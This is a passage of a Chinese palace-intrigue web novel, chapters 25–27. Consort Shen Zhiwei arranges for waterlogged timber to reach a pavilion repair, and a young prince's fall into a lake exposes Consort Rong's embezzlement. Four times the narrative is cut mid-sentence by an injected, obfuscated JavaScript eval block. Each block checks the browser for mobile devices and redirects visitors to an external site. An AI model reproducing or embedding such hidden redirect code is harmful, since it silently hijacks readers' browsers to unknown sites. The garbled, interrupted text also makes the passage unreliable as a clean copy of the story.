马蹄啪嗒啪嗒,很快就到了松柏林场。林场的负责人是曹承恩兄弟,在家中行三,人称曹三。与曹承恩敦厚老实的形象不同,曹三身形瘦弱精干,尖嘴脸,吊稍眉,一对黑漆漆的眼睛在眼珠中打转,下巴稀疏的几缕胡须被捋成了个倒三角,看一眼就让人格外不舒服。 一见宫中有贵人来,曹三谄媚地凑上前,“曹三参见贵人,贵人小主吉祥。” 沈知微单刀直入,“修缮澄心台的木材准备好了吗?” “回禀小主,荣妃娘娘一早从宫中递了话来,我们已经在准备了。”他指了指远处最高最壮的柏树,“那几颗柏树是长势最好的,一会全都砍下来,给太后娘娘加固澄心台用。其余裁切好的原木,现在都在库房放着呢。” “那去库房看看吧。” “额,这……” “带路。” “……是。” 林场的库房可比太平酒庄的简陋的多,空气中还弥漫着木屑混杂着灰尘的味道,再加之库房本身的潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657192|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿味道混合在一起,闻起来有一种怄掉的霉味。 曹三有些尴尬,赔着笑脸道:“上周下雨库房进了水,难免有些潮湿。不过小主放心,给太后娘娘用的,都是最新最好的原木,像之前泡过水的,奴才都收到一边了。” 沈知微顺着曹三手指的方向,确实看到库房东西两侧各堆放了两堆木材。一堆表皮干燥白皙,一看就是刚砍伐下来的;另一堆嘛,乍一看倒也看不出什么,只是和新砍下来的那堆一对比,就看出差别来了。 沈知微嘴角勾起,扬起声音道:“曹三,你不老实啊。这宫中有规定,泡过水的木材应就地销毁,这都一周过去了,你怎么还留在库房呢,不会是想送进宫中,以次充好吧?” 曹三脸色骤变,连声辩解道:“小主哪能啊!就算借草民一个胆子,草民也不敢蒙骗宫里的贵人啊。这、这批木材本身是下雨前刚伐下来的,奴才只是觉得扔了可惜,所以就留下了。想着有村户家中若是想修个门窗、围个猪圈什么的,也能废物利用不是。”说罢,他作势抽了自己两巴掌,“奴才就是舍不得浪费东西,让小主看笑话了,小主恕罪,恕罪啊。” 曹承恩原本默默地陪同在旁边,此时也站不住了,弓身求情道:“贵人,老三这个人从小就节俭,他留着这些木材无非是可惜这么些好东西,绝无非分之想啊。” 沈知微冷笑了一声,并不信这些说辞。她来时就发现了,曹三身上的衣服虽然破旧,可腰间那块玉佩一看就是好东西,最少值上百两银子;更别提来库房时曹三所乘坐的那辆马车里那套汝窑瓷的茶盏,能用上这些个好东西,他要是不贪就见鬼了。如今看到这些木材,沈知微大概能猜到,曹三的钱是怎么来的了。 不过呢,还好曹三藏了这些泡过水的木材,这回可帮了她大忙了。 她靠皇上的宠爱得封贵人,本以为能稍微摆脱皇后的掌控。没想到皇后还留了一手,让她的父亲给她传信,告知家中的情况,以及苏氏在官场上对他的“照顾”。 沈知微能想到,这是皇后再敲打她呢。再加之昨日皇后让荣妃修缮澄心台,特地让她“留心”,意图已经显而易见了。 如今她和皇后还未撕破脸,荣妃又对她不满已久,她进退两难,万不可两边对抗,只能拉一个打一个,先帮皇后除掉荣妃再说。 沈知微昂起首,隔着帷帽俯视着二人,“罢了,我没工夫管这些琐事。只告诫你们一点,把荣妃娘娘交待给你们的差事做好,误了宫中的事,你们就是有十个脑袋也保不住的。” 曹三连连应是,“贵人放心,荣妃娘娘一向照顾小的们,小的哪能啊。今日这些木材修整好后,明天一早就给荣妃娘娘送去,绝不会误了娘娘的事的。” “哦?”沈知微有些惊奇,“荣妃一向照顾你们?” “额……”曹三尬笑了几声,“您知道的,先前都是荣妃娘娘管事,这宫中修缮宫殿亭子呀,移栽木材呀,都是荣妃娘娘在管的。 “这样啊。”沈知微看起来兴致不高,慵懒道:“得,本宫的事办完了,就先回去了。” 沈知微扶着孔嬷嬷,离开了林场。曹氏兄弟松了一口气,跪在马车旁,“草民恭送贵人。” 马车走出了二里地,四下无人之时,沈知微将孔嬷嬷叫进了马车,“嬷嬷,你帮我去做件事,切记要隐秘,不可暴露身份。” 25. 落水 御花园万春阁,沈知微正凭栏品茗,远远看见孔嬷嬷疾步走了过来。沈知微放下茶盏,“云雁,我想清静些,你带着其他人先退下吧。” “是。” 阁中的宫人全都退下,孔嬷嬷悄然从另一处楼梯走了上来,俯在沈知微耳边,悄声说道:“小主,事情都办妥了。” 沈知微用团扇挡住嘴巴,“没被人察觉吧?” “小主放心,我买通了一个农户,让他从曹三手中买下那些泡水木材,特意选在荣妃的人来林场拉木材的时候去取。趁曹三拉着宫里的人溜须拍马的时候,将两边的板车一换,没人发现不对。” “荣妃的人没发现?” “没有。林场的板车都是一样的,还都蒙着布捆着绳子,他们只点验一辆板车,自然是看不出差别,除非两辆车一起对比……那来办事的头子,压根没这么细心。” “那个农户呢?知道我们这些秘密,能闭紧嘴吗?” 孔嬷嬷笑了一声,“他哪知道这些呀。那个农户精神有些问题,我请他吃了顿猪头肉,她就管我叫菩萨。我跟他说有地方可以白捡木材,他高高兴兴地跟去了。在林场的时候,也是我让他拉哪个板车,他就拉哪个板车,其他的弯弯绕绕,他不知道的。” 沈知微舒了一口气,“那就好。不过,既然精神有问题,就将他送远些,不要因为这点小事,误了我们的大事。” “是。” “去查查,荣妃和曹三之间暗中有没有什么人情往来,曹三这种无利不起早的,他对荣妃简直殷勤地不正常。暗中查,不要惊动他们。” “小主放心,老奴有分寸。” 沈知微看了她一眼,“先下去吧,皇后和荣妃要来了。下去的时候将云雁叫上来。” 孔嬷嬷颔首,悄无声息地退下,沈知微独自坐在桌案旁,大幅扇动着手中的团扇,扇面挥动着丝丝冷风,仿佛这样才能抚平她心中的烦躁。 沈知微从阁楼往下望,远远看见皇后和荣妃的仪仗靠近,她不紧不慢地站起身,整肃衣冠,云雁帮她抚平裙摆上的褶皱,一切收拾妥当后,二人恭敬地侍立在一旁。 “兰贵人来的好早。”皇后声音洪亮,可刚说完这句,突然急剧地咳了两声,像是被空气呛到了。 沈知微将这幕不动声色地收在眼中,屈膝行礼,“臣妾参加皇后娘娘,参加荣妃娘娘。” 荣妃垂下眼睫,不爱理会沈知微;倒是皇后恢复了先前的端庄,“起来吧。你选的这个地方不错,是个品酒的好地方。” 皇后和荣妃各在桌案两侧坐下,沈知微侍立在一侧,认真说道:“臣妾昨日跑了一天太平酒庄,仔仔细细挑选出了几款酒,想请二位娘娘品鉴一二,最终定下一款酒来。” 众人侧首,看到桌案上放着三款形态不一的酒壶,宝蓝色缠枝连纹壶富丽华贵,青玉瓜棱执壶尽显春日气息,鹅黄小壶精巧雅致。一看就是精心准备的。 沈知微亲自拿起酒壶,依次为皇后和荣妃各斟了三杯,一边斟酒一边介绍道:“此酒为龙台御酒,产自承德酒庄,以皇家御法酿造而成。宫中宴饮常用此酒,想来两位娘娘应该比我熟悉。” “这一款是太平春酒,是将熟地、当归、枸杞、佛手、桂圆肉、松仁、茯苓等放入布袋,以玉泉酒为原料,经特殊工艺加工而成,味道甘美醇厚,属于补益药酒。” “此酒名唤菊花白,是以菊花为原料,与基酒混合蒸馏酿制而成,具有养肝明目的功效,搭配桌上的鲜花饼食用更是别有一番风味。” 斟完酒后,沈知微垂手而侍,”三款酒都在此,请二位娘娘品鉴。” 空气中寂静非常,只有皇后和荣妃举杯和放下时衣袖的摩挲声。沈知微的心跳得厉害,颇有些忐忑。三款酒都品尝过后,皇后慢悠悠地开口:“这三款酒各有各的优点,可若单拎出来一个,却又是美中不足。你可有法子,做出更好的酒来?” “……” 荣妃看沈知微欲言又止的样子,挑起眉梢,故意说道:“这些酒庄酿的酒啊,到底是俗物,哪比得上兰贵人酿制的酒能迷惑圣心。在本宫看来,既然兰贵人擅长此道,不如就让她亲手酿制,一是能满足皇后的要求,二是也算全了对太后的一番孝心,皇后说是吧。“ 沈知微听着这话,觉得摆明了是挖坑给她跳!荣妃这会儿提出让她亲自酿酒,单是准备原料、制作发酵的时间都不够,根本赶不上太后寿宴;况且荣妃调子起那么高,她若是接手了这活,一旦达不到预期,六宫必然会联想起她先前制酒赚钱,赚钱时做的,给太后办寿宴却做不得,这一起一落之间,她的名声可就全完了。 “娘娘,这制酒讲究尊天时、顺季候、酱香起、酿琼浆,距离太后寿宴还有不到一个月的时间,怕是来不及。”沈知微婉拒。 皇后点了点头,“制酒太慢了。你手艺再好,也得先有东西呈到寿宴上。还是在各地进贡的酒中再挑一挑,选出个好的来。” 荣妃冷哼了一声,正要说些什么,沈知微率先屈膝行礼,打断了荣妃的意图,“臣妾遵旨。” 皇后转过目光,落在荣妃身上,“澄心台修缮的如何了?我们这些人所做的,前提是澄心台得修缮得当,否则做的再多,都是无用功。” 荣妃倨傲地扬起脸,“放心,司造司来报,木材都已经从京郊农场运到圆明园了,今日就可以安装,不会误了皇后的事的。” “那就好,既然如此,待澄心台修缮好后,我们大家一同去看一看,再叫上元妃、康嫔她们,提前熟悉环境,先前说的排舞,也要事先做好准备。” “知道了。”荣妃垂着头把玩着手上的护甲,不经意地扫了沈知微一眼,心中又生一计。 …… 有了当权者的支持,原本二十天工期的澄心台,十五日就已修缮完成。 澄心台主体建筑本就气势恢宏,此次修缮,更是让其如同披上了一层新衣一般,重檐歇山,红墙黄瓦,在阳光照耀下熠熠生辉。殿内九龙宝座、鼎炉、画屏等陈设,精致奢华,尽显皇家气派。四周山水环绕,临水处是一排新安装的实木围栏,为了不影响美观,那栏杆做的比寻常低些。 尽管平日里与荣妃积怨甚深,皇后此刻也不得不在心里承认,荣妃审美极佳,办事又雷厉风行,确实适合做这些活计。 沈知微无暇赏景,她这些日子选酒选的眼花,既要遵循宫中的定制,还要让皇后满意,最终挑挑拣拣,总算从三十多款酒中选出了一种来,名唤玉泉酒。 她还带来了几款没被选上的酒,想来放着也是放着,故而请示了皇后带过来给大家品尝,其中菊花白配上新做的鲜花饼,在嫔妃中最受欢迎,连元妃和大皇子璟桢都吃了好几块。再加上景桢活泼,平时鲜少露面,此时正被康嫔和纯嫔拿一个花球逗着玩。抛开过往种种不谈,此刻大家聚在一起饮酒作乐,和气地真如同一家一般。 见大家歇的差不多了,皇后示意肃静,轻咳了一声,正色说道:“如今太后寿宴在即,我们今日来此,除了为查看澄心台修缮情况外,还有一件事。” 皇后顿了顿,“往年的寿宴,我们都是坐在台下,陪同太后一同观赏歌舞表演,年年如此,想来也没什么意思。前几日我和荣妃商量,六宫中不乏多才多艺的姐妹,不如排出一段舞来献给太后,既能全了诸位的孝心,还能让皇上和太后高兴。” 话音一落,屋内嫔妃各个都低下了头,余光暗中观察别人是如何反应。大多数人心中颇为纠结,一是这种露脸的机会,若是表现的出彩,说不定能得皇上青睐;二是毕竟是太后的寿宴,说不紧张是假的,但凡有一点出现差错,怕是要吃不了兜着走了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671812|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 荣妃努了努嘴,懒得挑皇后话里的漏洞,明明是皇后前几日单方面通知她,怎就变成和她商量来的了…… 屋内中人各有心思,一时无人接话,空气中安静地能听见窗外的鸟叫声。 沈知微心知,这件事皇后已经定了,根本不容推辞,干脆顺水推舟卖皇后一个人情,主动站了出来,“皇后娘娘说的是,臣妾听皇后娘娘的。” 话音刚落,众妃的眼睛齐刷刷地看向她,意外有之,嫉恨有之;元妃淡淡看了沈知微一眼,无声地叹了口气,认命般走到中间,声音平静,“臣妾同意。” 元妃都这么说了,其他人自然没有端着的道理,不一会,殿中央哗啦啦占满了人。 “臣妾也同意。” “臣妾听皇后娘娘的。” …… 荣妃原本就不同意搞什么劳什子献舞,可皇后拿孝道压她,她若反对皇后必在太后面前上眼药,虽不吭声却也是默认。 皇后眼看着六宫中人聚拢到她面前,笑逐颜开,连道几个“好”字,“我们姐妹一心,是最好不过的。来人,请南府的乐师来。” 音乐声起,众妃跟随着编舞师的舞步,翩翩起舞。沈知微到底是穿越过来的,不通乐器,舞姿也平平,站在队列最后,权当凑个人数。直到两段旋律过后,才熟悉了舞步,跳得更加游刃有余起来。 众妃配合地越发和谐,大家都沉浸在音乐和歌舞的世界中。 “花球、花球……”一道稚嫩的声音悄悄响起,璟桢的身影突然窜到人群中,咿咿呀呀地挥舞着小拳跑到大殿的后方。 离得近的嫔妃被打断,不得不停下舞步,转身看向从人群中穿过的景桢。 此时沈知微刚结束一个旋转的动作,还未看清身边闪过去的人影,便被一道突如其来的力道用力一推。 她腰侧一痛,整个身体向前扑倒。倒地的一刹那,余光看见身前那道幼小的身影,心中不由得一揪。 眼看着要扑到他身上,沈知微不知从何处来的力气,将整个身体转过半周,重重地跌倒在地上,跌在景桢的眼前。 “哇——”景桢受到了惊吓,哇地一声放声哭了起来。一边哭一边朝后退,直到退伍可退,整个身体倚到围栏上。 元妃远远听见爱子的心声,顿时心疼地不行,从琴凳上唰地一下站起身,往璟桢的方向去。 沈知微趴在地上,云雁和柔答应冲到她身边,合力扶她起来。起身的一刹那,沈知微听见景桢身后传来细微的声响。是木头断裂的声音! 她惊恐地瞪大了眼,嘴唇颤了又颤。可或许是景桢的哭声太大,竟无人注意到那栏杆的异响。 “噗呲——” 裂缝越来越大,栏杆再也承受不住施压在它身上的力量,轰地一声掉进下方的湖中,连带着倚在它身上的景桢。 “不好了,大皇子落水了!” “快来人啊,大皇子落水了!” “皇后娘娘!皇后娘娘!” 围栏附近的嫔妃面面相觑,有的惊声高呼,有的连连退后。 皇后闻声拍案而起,荣妃更是瞪大了眼,二人一前一后,拨开众人走了过来。 沈知微大脑一片空白…… 不,不该是这样的…… 在理智做出反应之前,她的身体已经下意识地冲上前去,一个鱼跃跳进了湖中,展开双臂去捞落水的景桢。 “姐姐!” 柔答应被沈知微推开,还没反应过来,下一秒就看见沈知微跳进了湖里…… 元妃率先扑到了断裂的栏杆边,震惊心痛地难以自抑, “景桢!景桢!” 元妃眼眶通红,愤怒和惊恐的火苗在眼眶中熊熊燃烧,连推带搡地将几个太监踢进了水里,“愣着干什么,还不快去救人!” 26. 昏迷 咕咚——咕咚—— 无数河水灌入鼻腔,夺走了呼吸,从口鼻处溢出透明的气泡。 衣衫被完全浸透,像海绵一样拽着沈知微往下沉。 沈知微顾不得其他,奋力蹬着腿,这才从湖面探出头来。一回头便看到在不远处挣扎地景桢,二话不说朝他的方向游去。 “景桢,抓住我的手!” 或许是因为景桢年纪尚小,亦或是实在太害怕,景桢扑棱了几下,竟有沉入湖中的态势。 沈知微奋力游了过去,一把将景桢揽进怀中。景桢惊魂未定还在挣扎,连带着沈知微都呛了好几口水。还好元妃派来的太监们都往这个方向游了过来,从沈知微怀中接过景桢,催促着二人上岸,沈知微这才松了一口气。 澄心台距湖面有二三米高,按照他们掉下来的方向返回是回不去了,只能由太监领着,从另一个方向上岸。 “贵人,这湖中水草多,您可要当心了。”扶着沈知微的太监好心提醒道。 “无妨,保护景桢要紧。” 沈知微脸色惨白,越是在这种时刻,心中的愧疚越是涌上心头。三无名太监共同护住景桢,一同往岸边游去,沈知微跟在后面,心中默念景桢千万不要有事。 他那么小,先前还患了风寒…… 沈知微想得出神,离岸边还有五米左右,突然脚步滞住,如同被缠住一般,再也动不了。 沈知微心道不好,又用力挣扎了几下,脚下的那股力道竟越来越紧,竟将她整个人往湖中拖去! “不好,兰贵人……来人,快来人啊!” 跟在她身边的太监率先发现了异样,奋力托住沈知微,高声呼喊前面的人。 前面的太监已经护送景桢上了岸,如今听见身后的声响,二话不说又重新扎进了湖中。 沈知微口鼻中呛了好几口水,只觉身体无限下坠,眼前的视野越来越模糊,再也看不清了…… 咕咚——咕咚—— 四周一片黑暗,湖水冰凉刺骨,沈知微仿佛又回到了那年夏日,她乘游艇出海,被人偷袭扔进了大海。上天又给了她一次生存的机会,让她穿越到了这个朝代。 两世落水的身影在眼前交叠在一起,身体越来越重,可灵魂却越来越轻。 这一回……难道她真的要死了吗? * 眼前蒙上一层橙色的暖光,沈知微觉得自己好像平躺在地上,裹着温暖的锦被,还有阵阵檀香丝滑地窜进鼻腔。 头脑逐渐清醒,她不舍地睁开眼睛,映入眼帘的是明黄色的床帷、明黄色的锦被和守在床榻边的云雁。 “小主?小主您醒了!” “我……”沈知微一开口,嗓音沙哑地不行,又尝试了两次,最终放弃了。 云雁端来一杯水递到沈知微唇边,眼睛红红的,“小主,您已经昏迷两天两夜了,夜里又发了高热,不着急说话,先喝点水吧。” 温热的甘泉入喉,沈知微清了清嗓子,这才缓了过来。 殿中的声响惊动了殿外的人,一行人浩浩荡荡地走了进来。 沈知微半坐半躺在床榻上,一一看过眼前人的面庞,瞬间愣住了。 太后、皇上、皇后、荣妃、元妃都来了,目光齐刷刷地落在她身上,眸光期切复杂。 此时再看眼前的明黄色床帷和锦被,只觉亮的刺眼,这里不会是…… 太后率先开口问道:“兰贵人,你现在感觉如何?可还有不适?” 沈知微看了眼皇上,又看向太后,垂下头,“回禀太后,臣妾觉得还好。” 太后点了点头,长舒一口气,“那就好。哀家这万寿宫的偏殿一向安静无人打扰,你安心在此静养,什么时候养好了什么时候再走。” “臣妾惶恐,怎敢叨扰太后清修。”沈知微突然想到什么,紧张地问道:“大皇子可有恙?” 太后目光温和了好许,“大皇子无恙,说起来,多亏了你舍身相救。你救了哀家唯一的皇孙,哀家要好好赏你。你若有想要的,尽管向哀家开口。” 沈知微抿了抿唇,心里清楚太后虽是嘴上这么说,可若她真敢借此邀功,怕又是另一番光景了,故而谦逊地低下头,真切地说道:“大皇子无恙便好。当时情况危急,臣妾离得最近,有机会救人定当竭尽全力。臣妾受大皇子叫一声沈娘娘,自是将景桢视为亲子看待,哪里能贪图奖赏。” “可是……” “母后,”桓宸自进来时,眉头便紧锁着,脸色也有些阴沉,直到见沈知微说了这些话,看来确实无恙,这才神色舒展了些,还劝解太后道:“她就是这般性子,看到别人身陷囹圄必然要出手相救,事后还不曾挟恩图报。既然如此,母后从别的地方奖赏她便是。” “也罢。”太后眉眼难得浮现出一层慈爱之色,连声音都温和了些许,对身旁的皇帝说道:“听你说来,兰贵人还真是个可心的人。有兰贵人在你身边,哀家放心。” 桓宸点了点头,算是默认。 元妃也站了出来,为沈知微说话,“景桢这孩子胆子小身体弱,澄心台那一遭,简直把我们母子俩吓坏了,我身为人母,恨不得替我儿遭此难,幸亏当时有兰贵人在旁边。妹妹,你对我们母子有救命之恩……”元妃言辞切切,屈膝行了大礼,“姐姐多谢妹妹!” “元妃娘娘快快请起!我受不得……”沈知微慌了,要从床上下来,被桓宸按了回去。 桓宸拍了拍沈知微的手以作安抚,又回头看向元妃,“你爱子情切,兰贵人善良慈悲,都是为了景桢,就不行这些虚礼了。若是还有什么想说的,等兰贵人好了,你们二人再会见也不迟。” 皇上发了话,她感谢的话也说完了,元妃是个有眼色的,识趣地退下了。 太后转过身,面向皇后,实则是看向皇后身后的荣妃,责怪道:“皇后,这澄心台是谁督促修缮的?怎么能出现这么大的纰漏!寿宴还没开始呢,就差点伤了哀家唯一的孙儿,这到底是来给哀家祝寿的,还是来气哀家的!” 皇后、荣妃纷纷跪下,连声认错:“太后恕罪、太后恕罪。” 元妃冷眼看着,不发一言。一想到她皇儿受的苦,就恨得心头在滴血。刚刚修缮的栏杆,竟然连一个五岁幼儿的重量都承受不了,这中间要是没有鬼就怪了!只恨现在没有证据,若是让她知道罪魁祸首是谁,一定将他剥皮扒筋解了气才好! “太后,此事另有隐情。”荣妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686473|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些急切,眼巴巴地看向太后,却被太后硬生生打断,“哀家没问你。身处妃位,怎么连后宫的规矩都忘了,这般行事怎能服众?” 荣妃撇了撇嘴,悻悻地退下。 太后依旧不悦,对皇后说道:“皇后,今日若不是兰贵人,你想想会是什么后果。身为六宫之主,该抓住的总得抓住才是,不要再让哀家失望了。” 皇后脸色也不好看,可也不得不低头,“臣妾谨遵太后教诲。” 一番话下来,殿中的气氛格外沉重,桓宸有些不耐烦了,扬了扬手,“既然兰贵人无恙,大家看也看过了,就都散了吧。别都围在这里,饶了太后清净,也打扰兰贵人休息。让门外的那些人也都回去吧。” 六宫嫔妃原本是一起来澄心台准备祝寿节目的,后来大皇子和沈知微出事,无人敢离开,现在都在门外候着。 所有人围在这实在不像话,太后叹了口气,附和道:“听皇上的,都先退下吧。兰贵人在哀家这里,哀家亲自照应,必不会让她有事。” 皇后、荣妃和元妃互相看了一眼,知道这是要赶人了,纷纷行了礼,识趣地告退。 众人走后,桓宸拉着沈知微的手说了好一会儿话,但碍于是太后的居所,不好久留,在傍晚前就离开了。 深夜,烛台上跳动着微弱的烛光,沈知微独自坐在床上,抱着膝盖发呆,连孔嬷嬷进来都没发现。 “小主?小主?您怎么了?” 沈知微身体一抖,从神思中惊醒过来,见是孔嬷嬷,这才松了口气,恢复了惯有的镇静。 “没事,可能是受了寒。”沈知微抬起头,眸中深不见底,“嬷嬷,我让你查的东西……都查到什么了?” 孔嬷嬷神色瞬间严肃了起来,四下打量着确保无人,这才走近了些,俯首在沈知微耳边说道:“小主,荣妃果然有问题。这些日子我多方打听,有些消息还花了不少银钱,这才打探到了这些线索来,都记录在这里,请小主过目。” 沈知微神情冷峻,接过孔嬷嬷递来的那几张纸,前前后后仔细读过一遍后,冷哼了一声,“果然不出我所料。看来从古至今这工程上的贪污是最严重的,料是荣妃也逃不过。只可惜啊,多行不义必自毙,她这回注定要栽了。” “小主是打算揭发荣妃?” “揭发?”沈知微转过头,看向孔嬷嬷,眸色渲染着苍凉和戏谑,“揭发这种一不留神就要掉脑袋的事,当然不能我们去做。想办法将这些消息透漏给元妃,她爱子心切,会比我们更想让那个‘幕后凶手’去死。” 孔嬷嬷看着她的眼睛,悄然倒吸了一口凉气,慌忙垂下头,唯唯应是。 只是这微小的动作,也被沈知微收进眼底。沈知微抿了抿唇,再开口时声音竟有些凄冷和凉薄,“她要害我,我要害她,谁是谁非,早就说不清楚了。我们要做的,就是竭尽所能,好好活下去。” 沈知微不是不知道,当日在澄心台那突如其来的推搡是源于谁的授意。她未必正义,□□妃也不够坦荡。她与荣妃也好,与皇后也好,早已说不清对错,只能论输赢。 孔嬷嬷默了默,重重点了点头,仿佛心中一块石头落地,与沈知微告了别,重新走向了夜色中。 27. 风暴 无边夜幕笼罩下,九州清晏重兵把守,叶落无声。 桓宸站在半明半暗的光影里,负手而立,眉头微微拢起,目无表情地注视着眼前跪在地上的妇人,“你是说,有人贪赃修缮澄心台的款项?” 元妃跪在地上,背挺得直直的,尽力维持着平静,“那日璟桢落水,臣妾心中一直有个疑影。明明是才修建的护栏,怎就连个小孩子的重量都承受不住?皇上,臣妾就璟桢一个孩子,璟桢也是您的孩子,臣妾不敢冒险,这才派人暗中探查一二。” 元妃深吸一口气,将所知和盘托出,“当日皇后提出修缮澄心台,内务府营造司打着‘奉旨采办’的旗号,向京郊林场采购一万八千五百二十两的木材,这个数字在内务府的账册中也有所记载。可臣妾派出的人到林场实地探查,林场的作头证言,送进宫的木材市价不过三千两。” “那日断裂的栏杆,臣妾事后专门找了工匠前去查看,得知修建栏杆的木头竟是泡过水的。按照宫中规定,因雨雪等原因报废的木材应按定制销毁,可这些木材不仅没被销毁,还以次充好被人送进了宫里。只是不知到底是只有围栏使用了这批泡水木材,还是说澄心台的其他地方修缮也用了这批泡水木材。太后寿宴历来会邀请朝中重臣、皇亲国戚前来贺寿,若真是在这样的地方开宴,恐怕后果不堪设想。” 元妃字字句句重如千钧,如同在寂静的深夜凭空炸起的惊雷,发出刺耳的嘶鸣。 桓宸神色阴沉,冷峻的气息笼罩在他的周身,他冷冷地凝视着元妃,眸色复杂,“你说的这些,可有证据?” 元妃奉上一封书信,双手举过头顶,“林场作头元贵的证言在此,请皇上过目;那日断裂的栏杆,臣妾已命人围了起来,皇上也可派人查看。臣妾知道兹事体大,不敢有所隐瞒,特来请皇上定夺。” 桓宸随手一抬,示意何忠顺将信呈上来。 他扫了两眼,将信折在手中。他顿了顿,声音凉薄中带着一分疲惫,“朕记得当初是皇后提议在澄心台为太后办寿宴,又将修缮澄心台的事宜交给了荣妃,如今出了差错,你认为朕该找谁?” 说罢,桓宸往椅背一靠,阴恻恻地俯视着跪在地上的元妃,那眼神仿佛在问—— 元妃,你站在那一边?又是在针对谁? 烛台上的蜡烛“啪”地一声爆开,在满室的静寂中尤为刺耳。 元妃默了一瞬,俯身磕了个头,郑重而真切:“皇上,臣妾与皇后之间、与荣妃之间无愁无怨,臣妾没有理由针对谁。今日若不是涉及到我的景桢,臣妾断然不会淌这趟浑水。 臣妾只有景桢一个孩子,臣妾做不到亲子被别人的贪念所害却置之不理。这回若不是兰贵人舍身相救,臣妾不敢想景桢会……臣妾身为人母,唯愿我儿能平安长大,而非是被歹人所害却不知真凶是谁,求皇上明鉴。” 桓宸幽幽地凝视她,似乎在判断这话的真假。 良久,轻叹了口气,“璟桢是你的孩子,也是朕的孩子,我们的孩子险些为人所害,你作为母亲惶惶不可终日,朕身为人父同样心中难安。罢了,起来吧。” “谢皇上。” “罢了,如今宫中出现蛀虫,总归是要清理的。”桓宸叫了声何忠顺,“传旨,澄心台一案,内务府总管彭庆革职,交由军机大臣李宏义查办,三日内给朕结果。” “嗻。” 桓宸对元妃道:“夜深了,你先回去吧。告诉璟桢,朕明日会去看他。” “臣妾替璟桢谢过皇上。”元妃元妃夤夜前来告状诉苦,一不留神就有可能牵扯进苏氏和阮氏的斗争中,说不紧张是假的。如今皇上发了话,总算能放下心来,识趣地告退了。 * 三日后,凤章宫。 皇后抱膝坐在床上,精神有些紧绷,不时往殿门的方向看。 直到红木门传来开合的吱呀声,皇后一下子打起了精神,眼巴巴地看向来人。 “怎么样了?” 闻竹悄声走近,压低声音道:“娘娘,苏氏传来信件,说李大人这三日通宵达旦,将内务府近一年来的账册都彻查了一遍,特别是荣妃协理六宫以来的,有大发现。” 闻竹卖了个关子,眼眸中闪着亮光, “此次澄心台贪腐一案,经查实确有其事,京郊林场的管事曹三听到风声就跑了,后在冀州被捉拿归案,现下正押往京城。还有,经李大人核查,去年元日庆典,内务府总管彭庆执掌庆典器物使用,他包揽采购,抬价居奇,从中攫取利益不计万数……去岁修建祈年殿花费三百六十万两白银,内务府在工程中大肆虚报物料,实际开销只有一百二十万两……给御花园修建荷花池,上报人工二百八十人,实际到工人数仅为报账的十分之一……如此种种,数不胜数。” 皇后微微张大嘴巴,长久以来的疑惑豁然解开,“我说荣妃怎么在我养病期间那么爱大兴土木呢,原来在这等着呢。” “好啊!好啊!”皇后点了点头,眼睛放光,“彭庆是荣妃的同乡,这么多钱,他一个人可吃不下,不还是孝敬给荣妃了?只要把彭庆的嘴巴撬开,荣妃必然跑不掉。” 皇后兴奋地从床榻上跳起来,光脚在地上打转,“她猖狂这些日子,处处跟我争,也不看自己是什么德行。如今好了,栽了个大跟头,真是报应啊!” 闻竹上前扶住皇后,“娘娘,您身子还没好全,还是坐下吧,小心地上凉。” 皇后并不在意这些,但也听闻竹的话重新坐回了床榻上,眼眸兴奋地反光,“快,给父亲和兄长传信,让他们也别闲着,趁这个时候将阮家彻彻底底地查一遍,她那个弟弟不也在修城墙吗,好好查一查,她们阮家一个也别想跑掉!” 闻竹被皇后的情绪感染,同样兴奋了起来,“奴婢明日一早就去传信,娘娘放心吧。更深露重,娘娘早些休息。” 闻竹半哄半劝,这才把乐不可支的苏妙容哄得睡下。 * 七日后,清凉殿。 “咣当——” 一盏茶水被扫到地上,荣妃怒不可遏。“一群贱人!该死!都该死!元妃算个什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704782|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 